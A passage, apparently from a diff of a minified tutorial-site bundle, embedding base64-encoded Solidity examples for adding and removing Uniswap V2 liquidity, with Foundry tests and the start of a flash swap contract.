CiAgICAgICAgYXNzZXJ0R3QoUEFJUi5iYWxhbmNlT2YoYWRkcmVzcyh1bmkpKSwgMCwgInBhaXIgYmFsYW5jZSAwIik7CiAgICB9CgogICAgLy8gUmVtb3ZlIFdFVEgvVVNEVCBMaXF1aWRpdHkgZnJvbSBVbmlzd2FwCiAgICBmdW5jdGlvbiB0ZXN0UmVtb3ZlTGlxdWlkaXR5KCkgcHVibGljIHsKICAgICAgICAvLyBEZWFsIExQIHRva2VucyB0byB1bmkKICAgICAgICBkZWFsKGFkZHJlc3MoUEFJUiksIGFkZHJlc3ModW5pKSwgMWUxMCk7CiAgICAgICAgYXNzZXJ0RXEoUEFJUi5iYWxhbmNlT2YoYWRkcmVzcyh1bmkpKSwgMWUxMCwgIkxQIHRva2VucyBiYWxhbmNlID0gMCIpOwogICAgICAgIGFzc2VydEVxKFVTRFQuYmFsYW5jZU9mKGFkZHJlc3ModW5pKSksIDAsICJVU0RUIGJhbGFuY2Ugbm9uLXplcm8iKTsKICAgICAgICBhc3NlcnRFcShXRVRILmJhbGFuY2VPZihhZGRyZXNzKHVuaSkpLCAwLCAiV0VUSCBiYWxhbmNlIG5vbi16ZXJvIik7CgogICAgICAgIHVuaS5yZW1vdmVMaXF1aWRpdHkoYWRkcmVzcyhXRVRIKSwgYWRkcmVzcyhVU0RUKSk7CgogICAgICAgIGFzc2VydEVxKFBBSVIuYmFsYW5jZU9mKGFkZHJlc3ModW5pKSksIDAsICJMUCB0b2tlbnMgYmFsYW5jZSAhPSAwIik7CiAgICAgICAgYXNzZXJ0R3QoVVNEVC5iYWxhbmNlT2YoYWRkcmVzcyh1bmkpKSwgMCwgIlVTRFQgYmFsYW5jZSA9IDAiKTsKICAgICAgICBhc3NlcnRHdChXRVRILmJhbGFuY2VPZihhZGRyZXNzKHVuaSkpLCAwLCAiV0VUSCBiYWxhbmNlID0gMCIpOwogICAgfQoKICAgIC8qKgogICAgICogQGRldiBUaGUgdHJhbnNmZXJGcm9tIGZ1bmN0aW9uIG1heSBvciBtYXkgbm90IHJldHVybiBhIGJvb2wuCiAgICAgKiBUaGUgRVJDLTIwIHNwZWMgcmV0dXJucyBhIGJvb2wsIGJ1dCBzb21lIHRva2VucyBkb24ndCBmb2xsb3cgdGhlIHNwZWMuCiAgICAgKiBOZWVkIHRvIGNoZWNrIGlmIGRhdGEgaXMgZW1wdHkgb3IgdHJ1ZS4KICAgICAqLwogICAgZnVuY3Rpb24gc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBJRVJDMjAgdG9rZW4sCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludDI1NiBhbW91bnQKICAgICkgaW50ZXJuYWwgewogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSByZXR1cm5EYXRhKSA9IGFkZHJlc3ModG9rZW4pLmNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKElFUkMyMC50cmFuc2ZlckZyb20sIChzZW5kZXIsIHJlY2lwaWVudCwgYW1vdW50KSkKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHN1Y2Nlc3MKICAgICAgICAgICAgICAgICYmIChyZXR1cm5EYXRhLmxlbmd0aCA9PSAwIHx8IGFiaS5kZWNvZGUocmV0dXJuRGF0YSwgKGJvb2wpKSksCiAgICAgICAgICAgICJUcmFuc2ZlciBmcm9tIGZhaWwiCiAgICAgICAgKTsKICAgIH0KCiAgICAvKioKICAgICAqIEBkZXYgVGhlIGFwcHJvdmUgZnVuY3Rpb24gbWF5IG9yIG1heSBub3QgcmV0dXJuIGEgYm9vbC4KICAgICAqIFRoZSBFUkMtMjAgc3BlYyByZXR1cm5zIGEgYm9vbCwgYnV0IHNvbWUgdG9rZW5zIGRvbid0IGZvbGxvdyB0aGUgc3BlYy4KICAgICAqIE5lZWQgdG8gY2hlY2sgaWYgZGF0YSBpcyBlbXB0eSBvciB0cnVlLgogICAgICovCiAgICBmdW5jdGlvbiBzYWZlQXBwcm92ZShJRVJDMjAgdG9rZW4sIGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpCiAgICAgICAgaW50ZXJuYWwKICAgIHsKICAgICAgICAoYm9vbCBzdWNjZXNzLCBieXRlcyBtZW1vcnkgcmV0dXJuRGF0YSkgPSBhZGRyZXNzKHRva2VuKS5jYWxsKAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbChJRVJDMjAuYXBwcm92ZSwgKHNwZW5kZXIsIGFtb3VudCkpCiAgICAgICAgKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBzdWNjZXNzCiAgICAgICAgICAgICAgICAmJiAocmV0dXJuRGF0YS5sZW5ndGggPT0gMCB8fCBhYmkuZGVjb2RlKHJldHVybkRhdGEsIChib29sKSkpLAogICAgICAgICAgICAiQXBwcm92ZSBmYWlsIgogICAgICAgICk7CiAgICB9Cn0K"}],Jm=`

                    Add / Remove Liquidity

                    +`,Km=({prev:s,next:a})=>r.jsx(u,{version:Xm,title:vm,description:Nm,html:Fm,prev:s,next:a,codes:Hm}),Sm="0.8.24",Mm="Uniswap V2 Add Remove Liquidity",xm="Uniswap V2 add remove liquidity",Jm=[{fileName:"UniswapV2Liquidity.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWMkFkZExpcXVpZGl0eSB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgRkFDVE9SWSA9CiAgICAgICAgMHg1QzY5YkVlNzAxZWY4MTRhMkI2YTNFREQ0QjE2NTJDQjljYzVhQTZmOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFJPVVRFUiA9IDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFVTRFQgPSAweGRBQzE3Rjk1OEQyZWU1MjNhMjIwNjIwNjk5NDU5N0MxM0Q4MzFlYzc7CgogICAgZnVuY3Rpb24gYWRkTGlxdWlkaXR5KAogICAgICAgIGFkZHJlc3MgX3Rva2VuQSwKICAgICAgICBhZGRyZXNzIF90b2tlbkIsCiAgICAgICAgdWludDI1NiBfYW1vdW50QSwKICAgICAgICB1aW50MjU2IF9hbW91bnRCCiAgICApIGV4dGVybmFsIHsKICAgICAgICBzYWZlVHJhbnNmZXJGcm9tKElFUkMyMChfdG9rZW5BKSwgbXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudEEpOwogICAgICAgIHNhZmVUcmFuc2ZlckZyb20oSUVSQzIwKF90b2tlbkIpLCBtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50Qik7CgogICAgICAgIHNhZmVBcHByb3ZlKElFUkMyMChfdG9rZW5BKSwgUk9VVEVSLCBfYW1vdW50QSk7CiAgICAgICAgc2FmZUFwcHJvdmUoSUVSQzIwKF90b2tlbkIpLCBST1VURVIsIF9hbW91bnRCKTsKCiAgICAgICAgKHVpbnQyNTYgYW1vdW50QSwgdWludDI1NiBhbW91bnRCLCB1aW50MjU2IGxpcXVpZGl0eSkgPSBJVW5pc3dhcFYyUm91dGVyKAogICAgICAgICAgICBST1VURVIKICAgICAgICApLmFkZExpcXVpZGl0eSgKICAgICAgICAgICAgX3Rva2VuQSwKICAgICAgICAgICAgX3Rva2VuQiwKICAgICAgICAgICAgX2Ftb3VudEEsCiAgICAgICAgICAgIF9hbW91bnRCLAogICAgICAgICAgICAxLAogICAgICAgICAgICAxLAogICAgICAgICAgICBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICBibG9jay50aW1lc3RhbXAKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eShhZGRyZXNzIF90b2tlbkEsIGFkZHJlc3MgX3Rva2VuQikgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3MgcGFpciA9IElVbmlzd2FwVjJGYWN0b3J5KEZBQ1RPUlkpLmdldFBhaXIoX3Rva2VuQSwgX3Rva2VuQik7CgogICAgICAgIHVpbnQyNTYgbGlxdWlkaXR5ID0gSUVSQzIwKHBhaXIpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICBzYWZlQXBwcm92ZShJRVJDMjAocGFpciksIFJPVVRFUiwgbGlxdWlkaXR5KTsKCiAgICAgICAgKHVpbnQyNTYgYW1vdW50QSwgdWludDI1NiBhbW91bnRCKSA9IElVbmlzd2FwVjJSb3V0ZXIoUk9VVEVSKQogICAgICAgICAgICAucmVtb3ZlTGlxdWlkaXR5KAogICAgICAgICAgICBfdG9rZW5BLCBfdG9rZW5CLCBsaXF1aWRpdHksIDEsIDEsIGFkZHJlc3ModGhpcyksIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAZGV2IFRoZSB0cmFuc2ZlckZyb20gZnVuY3Rpb24gbWF5IG9yIG1heSBub3QgcmV0dXJuIGEgYm9vbC4KICAgICAqIFRoZSBFUkMtMjAgc3BlYyByZXR1cm5zIGEgYm9vbCwgYnV0IHNvbWUgdG9rZW5zIGRvbid0IGZvbGxvdyB0aGUgc3BlYy4KICAgICAqIE5lZWQgdG8gY2hlY2sgaWYgZGF0YSBpcyBlbXB0eSBvciB0cnVlLgogICAgICovCiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKAogICAgICAgIElFUkMyMCB0b2tlbiwKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudCwKICAgICAgICB1aW50MjU2IGFtb3VudAogICAgKSBpbnRlcm5hbCB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJldHVybkRhdGEpID0gYWRkcmVzcyh0b2tlbikuY2FsbCgKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoSUVSQzIwLnRyYW5zZmVyRnJvbSwgKHNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgc3VjY2VzcwogICAgICAgICAgICAgICAgJiYgKHJldHVybkRhdGEubGVuZ3RoID09IDAgfHwgYWJpLmRlY29kZShyZXR1cm5EYXRhLCAoYm9vbCkpKSwKICAgICAgICAgICAgIlRyYW5zZmVyIGZyb20gZmFpbCIKICAgICAgICApOwogICAgfQoKICAgIC8qKgogICAgICogQGRldiBUaGUgYXBwcm92ZSBmdW5jdGlvbiBtYXkgb3IgbWF5IG5vdCByZXR1cm4gYSBib29sLgogICAgICogVGhlIEVSQy0yMCBzcGVjIHJldHVybnMgYSBib29sLCBidXQgc29tZSB0b2tlbnMgZG9uJ3QgZm9sbG93IHRoZSBzcGVjLgogICAgICogTmVlZCB0byBjaGVjayBpZiBkYXRhIGlzIGVtcHR5IG9yIHRydWUuCiAgICAgKi8KICAgIGZ1bmN0aW9uIHNhZmVBcHByb3ZlKElFUkMyMCB0b2tlbiwgYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBpbnRlcm5hbAogICAgewogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSByZXR1cm5EYXRhKSA9IGFkZHJlc3ModG9rZW4pLmNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKElFUkMyMC5hcHByb3ZlLCAoc3BlbmRlciwgYW1vdW50KSkKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHN1Y2Nlc3MKICAgICAgICAgICAgICAgICYmIChyZXR1cm5EYXRhLmxlbmd0aCA9PSAwIHx8IGFiaS5kZWNvZGUocmV0dXJuRGF0YSwgKGJvb2wpKSksCiAgICAgICAgICAgICJBcHByb3ZlIGZhaWwiCiAgICAgICAgKTsKICAgIH0KfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJSb3V0ZXIgewogICAgZnVuY3Rpb24gYWRkTGlxdWlkaXR5KAogICAgICAgIGFkZHJlc3MgdG9rZW5BLAogICAgICAgIGFkZHJlc3MgdG9rZW5CLAogICAgICAgIHVpbnQyNTYgYW1vdW50QURlc2lyZWQsCiAgICAgICAgdWludDI1NiBhbW91bnRCRGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEFNaW4sCiAgICAgICAgdWludDI1NiBhbW91bnRCTWluLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBkZWFkbGluZQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50MjU2IGFtb3VudEEsIHVpbnQyNTYgYW1vdW50QiwgdWludDI1NiBsaXF1aWRpdHkpOwoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eSgKICAgICAgICBhZGRyZXNzIHRva2VuQSwKICAgICAgICBhZGRyZXNzIHRva2VuQiwKICAgICAgICB1aW50MjU2IGxpcXVpZGl0eSwKICAgICAgICB1aW50MjU2IGFtb3VudEFNaW4sCiAgICAgICAgdWludDI1NiBhbW91bnRCTWluLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBkZWFkbGluZQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50MjU2IGFtb3VudEEsIHVpbnQyNTYgYW1vdW50Qik7Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYyRmFjdG9yeSB7CiAgICBmdW5jdGlvbiBnZXRQYWlyKGFkZHJlc3MgdG9rZW4wLCBhZGRyZXNzIHRva2VuMSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChhZGRyZXNzKTsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"},{fileName:"UniswapV2LiquidityTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdH0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0CiAgICAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12Mi1hZGQtcmVtb3ZlLWxpcXVpZGl0eS9Vbmlzd2FwVjJMaXF1aWRpdHkuc29sIjsKCklFUkMyMCBjb25zdGFudCBXRVRIID0gSUVSQzIwKDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMik7CklFUkMyMCBjb25zdGFudCBVU0RUID0gSUVSQzIwKDB4ZEFDMTdGOTU4RDJlZTUyM2EyMjA2MjA2OTk0NTk3QzEzRDgzMWVjNyk7CklFUkMyMCBjb25zdGFudCBQQUlSID0gSUVSQzIwKDB4MGQ0YTExZDVFRWFhQzI4RUMzRjYxZDEwMGRhRjRkNDA0NzFmMTg1Mik7Cgpjb250cmFjdCBVbmlzd2FwVjJBZGRMaXF1aWRpdHlUZXN0IGlzIFRlc3QgewogICAgVW5pc3dhcFYyQWRkTGlxdWlkaXR5IHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWMkFkZExpcXVpZGl0eSgpOwoKICAgIC8vICBBZGQgV0VUSC9VU0RUIExpcXVpZGl0eSB0byBVbmlzd2FwCiAgICBmdW5jdGlvbiB0ZXN0QWRkTGlxdWlkaXR5KCkgcHVibGljIHsKICAgICAgICAvLyBEZWFsIHRlc3QgVVNEVCBhbmQgV0VUSCB0byB0aGlzIGNvbnRyYWN0CiAgICAgICAgZGVhbChhZGRyZXNzKFVTRFQpLCBhZGRyZXNzKHRoaXMpLCAxZTYgKiAxZTYpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICBVU0RULmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKSwgMWU2ICogMWU2LCAiVVNEVCBiYWxhbmNlIGluY29ycmVjdCIKICAgICAgICApOwogICAgICAgIGRlYWwoYWRkcmVzcyhXRVRIKSwgYWRkcmVzcyh0aGlzKSwgMWU2ICogMWUxOCk7CiAgICAgICAgYXNzZXJ0RXEoCiAgICAgICAgICAgIFdFVEguYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpLCAxZTYgKiAxZTE4LCAiV0VUSCBiYWxhbmNlIGluY29ycmVjdCIKICAgICAgICApOwoKICAgICAgICAvLyBBcHByb3ZlIHVuaSBmb3IgdHJhbnNmZXJyaW5nCiAgICAgICAgc2FmZUFwcHJvdmUoV0VUSCwgYWRkcmVzcyh1bmkpLCAxZTY0KTsKICAgICAgICBzYWZlQXBwcm92ZShVU0RULCBhZGRyZXNzKHVuaSksIDFlNjQpOwoKICAgICAgICB1bmkuYWRkTGlxdWlkaXR5KGFkZHJlc3MoV0VUSCksIGFkZHJlc3MoVVNEVCksIDEgKiAxZTE4LCAzMDAwLjA1ICogMWU2KTsKCiAgICAgICAgYXNzZXJ0R3QoUEFJUi5iYWxhbmNlT2YoYWRkcmVzcyh1bmkpKSwgMCwgInBhaXIgYmFsYW5jZSAwIik7CiAgICB9CgogICAgLy8gUmVtb3ZlIFdFVEgvVVNEVCBMaXF1aWRpdHkgZnJvbSBVbmlzd2FwCiAgICBmdW5jdGlvbiB0ZXN0UmVtb3ZlTGlxdWlkaXR5KCkgcHVibGljIHsKICAgICAgICAvLyBEZWFsIExQIHRva2VucyB0byB1bmkKICAgICAgICBkZWFsKGFkZHJlc3MoUEFJUiksIGFkZHJlc3ModW5pKSwgMWUxMCk7CiAgICAgICAgYXNzZXJ0RXEoUEFJUi5iYWxhbmNlT2YoYWRkcmVzcyh1bmkpKSwgMWUxMCwgIkxQIHRva2VucyBiYWxhbmNlID0gMCIpOwogICAgICAgIGFzc2VydEVxKFVTRFQuYmFsYW5jZU9mKGFkZHJlc3ModW5pKSksIDAsICJVU0RUIGJhbGFuY2Ugbm9uLXplcm8iKTsKICAgICAgICBhc3NlcnRFcShXRVRILmJhbGFuY2VPZihhZGRyZXNzKHVuaSkpLCAwLCAiV0VUSCBiYWxhbmNlIG5vbi16ZXJvIik7CgogICAgICAgIHVuaS5yZW1vdmVMaXF1aWRpdHkoYWRkcmVzcyhXRVRIKSwgYWRkcmVzcyhVU0RUKSk7CgogICAgICAgIGFzc2VydEVxKFBBSVIuYmFsYW5jZU9mKGFkZHJlc3ModW5pKSksIDAsICJMUCB0b2tlbnMgYmFsYW5jZSAhPSAwIik7CiAgICAgICAgYXNzZXJ0R3QoVVNEVC5iYWxhbmNlT2YoYWRkcmVzcyh1bmkpKSwgMCwgIlVTRFQgYmFsYW5jZSA9IDAiKTsKICAgICAgICBhc3NlcnRHdChXRVRILmJhbGFuY2VPZihhZGRyZXNzKHVuaSkpLCAwLCAiV0VUSCBiYWxhbmNlID0gMCIpOwogICAgfQoKICAgIC8qKgogICAgICogQGRldiBUaGUgdHJhbnNmZXJGcm9tIGZ1bmN0aW9uIG1heSBvciBtYXkgbm90IHJldHVybiBhIGJvb2wuCiAgICAgKiBUaGUgRVJDLTIwIHNwZWMgcmV0dXJucyBhIGJvb2wsIGJ1dCBzb21lIHRva2VucyBkb24ndCBmb2xsb3cgdGhlIHNwZWMuCiAgICAgKiBOZWVkIHRvIGNoZWNrIGlmIGRhdGEgaXMgZW1wdHkgb3IgdHJ1ZS4KICAgICAqLwogICAgZnVuY3Rpb24gc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBJRVJDMjAgdG9rZW4sCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludDI1NiBhbW91bnQKICAgICkgaW50ZXJuYWwgewogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSByZXR1cm5EYXRhKSA9IGFkZHJlc3ModG9rZW4pLmNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKElFUkMyMC50cmFuc2ZlckZyb20sIChzZW5kZXIsIHJlY2lwaWVudCwgYW1vdW50KSkKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHN1Y2Nlc3MKICAgICAgICAgICAgICAgICYmIChyZXR1cm5EYXRhLmxlbmd0aCA9PSAwIHx8IGFiaS5kZWNvZGUocmV0dXJuRGF0YSwgKGJvb2wpKSksCiAgICAgICAgICAgICJUcmFuc2ZlciBmcm9tIGZhaWwiCiAgICAgICAgKTsKICAgIH0KCiAgICAvKioKICAgICAqIEBkZXYgVGhlIGFwcHJvdmUgZnVuY3Rpb24gbWF5IG9yIG1heSBub3QgcmV0dXJuIGEgYm9vbC4KICAgICAqIFRoZSBFUkMtMjAgc3BlYyByZXR1cm5zIGEgYm9vbCwgYnV0IHNvbWUgdG9rZW5zIGRvbid0IGZvbGxvdyB0aGUgc3BlYy4KICAgICAqIE5lZWQgdG8gY2hlY2sgaWYgZGF0YSBpcyBlbXB0eSBvciB0cnVlLgogICAgICovCiAgICBmdW5jdGlvbiBzYWZlQXBwcm92ZShJRVJDMjAgdG9rZW4sIGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpCiAgICAgICAgaW50ZXJuYWwKICAgIHsKICAgICAgICAoYm9vbCBzdWNjZXNzLCBieXRlcyBtZW1vcnkgcmV0dXJuRGF0YSkgPSBhZGRyZXNzKHRva2VuKS5jYWxsKAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbChJRVJDMjAuYXBwcm92ZSwgKHNwZW5kZXIsIGFtb3VudCkpCiAgICAgICAgKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBzdWNjZXNzCiAgICAgICAgICAgICAgICAmJiAocmV0dXJuRGF0YS5sZW5ndGggPT0gMCB8fCBhYmkuZGVjb2RlKHJldHVybkRhdGEsIChib29sKSkpLAogICAgICAgICAgICAiQXBwcm92ZSBmYWlsIgogICAgICAgICk7CiAgICB9Cn0K"}],zm=`

                    Add / Remove Liquidity

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -5687,7 +5687,7 @@ IERC20 constant PAIR Uniswap V2 Flash Swap Example
+
                    `,Em=({prev:s,next:a})=>r.jsx(u,{version:Sm,title:Mm,description:xm,html:zm,prev:s,next:a,codes:Jm}),Dm="0.8.24",Tm="Uniswap V2 Flash Swap",Um="Uniswap V2 flash swap",Qm=[{fileName:"UniswapV2FlashSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJVW5pc3dhcFYyQ2FsbGVlIHsKICAgIGZ1bmN0aW9uIHVuaXN3YXBWMkNhbGwoCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgdWludDI1NiBhbW91bnQwLAogICAgICAgIHVpbnQyNTYgYW1vdW50MSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsOwp9Cgpjb250cmFjdCBVbmlzd2FwVjJGbGFzaFN3YXAgaXMgSVVuaXN3YXBWMkNhbGxlZSB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgVU5JU1dBUF9WMl9GQUNUT1JZID0KICAgICAgICAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CgogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwoKICAgIElVbmlzd2FwVjJGYWN0b3J5IHByaXZhdGUgY29uc3RhbnQgZmFjdG9yeSA9CiAgICAgICAgSVVuaXN3YXBWMkZhY3RvcnkoVU5JU1dBUF9WMl9GQUNUT1JZKTsKCiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSUVSQzIwKFdFVEgpOwoKICAgIElVbmlzd2FwVjJQYWlyIHByaXZhdGUgaW1tdXRhYmxlIHBhaXI7CgogICAgLy8gRm9yIHRoaXMgZXhhbXBsZSwgc3RvcmUgdGhlIGFtb3VudCB0byByZXBheQogICAgdWludDI1NiBwdWJsaWMgYW1vdW50VG9SZXBheTsKCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBwYWlyID0gSVVuaXN3YXBWMlBhaXIoZmFjdG9yeS5nZXRQYWlyKERBSSwgV0VUSCkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGZsYXNoU3dhcCh1aW50MjU2IHdldGhBbW91bnQpIGV4dGVybmFsIHsKICAgICAgICAvLyBOZWVkIHRvIHBhc3Mgc29tZSBkYXRhIHRvIHRyaWdnZXIgdW5pc3dhcFYyQ2FsbAogICAgICAgIGJ5dGVzIG1lbW9yeSBkYXRhID0gYWJpLmVuY29kZShXRVRILCBtc2cuc2VuZGVyKTsKCiAgICAgICAgLy8gYW1vdW50ME91dCBpcyBEQUksIGFtb3VudDFPdXQgaXMgV0VUSAogICAgICAgIHBhaXIuc3dhcCgwLCB3ZXRoQW1vdW50LCBhZGRyZXNzKHRoaXMpLCBkYXRhKTsKICAgIH0KCiAgICAvLyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCBieSB0aGUgREFJL1dFVEggcGFpciBjb250cmFjdAogICAgZnVuY3Rpb24gdW5pc3dhcFYyQ2FsbCgKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICB1aW50MjU2IGFtb3VudDAsCiAgICAgICAgdWludDI1NiBhbW91bnQxLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIGRhdGEKICAgICkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBhZGRyZXNzKHBhaXIpLCAibm90IHBhaXIiKTsKICAgICAgICByZXF1aXJlKHNlbmRlciA9PSBhZGRyZXNzKHRoaXMpLCAibm90IHNlbmRlciIpOwoKICAgICAgICAoYWRkcmVzcyB0b2tlbkJvcnJvdywgYWRkcmVzcyBjYWxsZXIpID0KICAgICAgICAgICAgYWJpLmRlY29kZShkYXRhLCAoYWRkcmVzcywgYWRkcmVzcykpOwoKICAgICAgICAvLyBZb3VyIGN1c3RvbSBjb2RlIHdvdWxkIGdvIGhlcmUuIEZvciBleGFtcGxlLCBjb2RlIHRvIGFyYml0cmFnZS4KICAgICAgICByZXF1aXJlKHRva2VuQm9ycm93ID09IFdFVEgsICJ0b2tlbiBib3Jyb3cgIT0gV0VUSCIpOwoKICAgICAgICAvLyBhYm91dCAwLjMlIGZlZSwgKzEgdG8gcm91bmQgdXAKICAgICAgICB1aW50MjU2IGZlZSA9IChhbW91bnQxICogMykgLyA5OTcgKyAxOwogICAgICAgIGFtb3VudFRvUmVwYXkgPSBhbW91bnQxICsgZmVlOwoKICAgICAgICAvLyBUcmFuc2ZlciBmbGFzaCBzd2FwIGZlZSBmcm9tIGNhbGxlcgogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKGNhbGxlciwgYWRkcmVzcyh0aGlzKSwgZmVlKTsKCiAgICAgICAgLy8gUmVwYXkKICAgICAgICB3ZXRoLnRyYW5zZmVyKGFkZHJlc3MocGFpciksIGFtb3VudFRvUmVwYXkpOwogICAgfQp9CgppbnRlcmZhY2UgSVVuaXN3YXBWMlBhaXIgewogICAgZnVuY3Rpb24gc3dhcCgKICAgICAgICB1aW50MjU2IGFtb3VudDBPdXQsCiAgICAgICAgdWludDI1NiBhbW91bnQxT3V0LAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbDsKfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJGYWN0b3J5I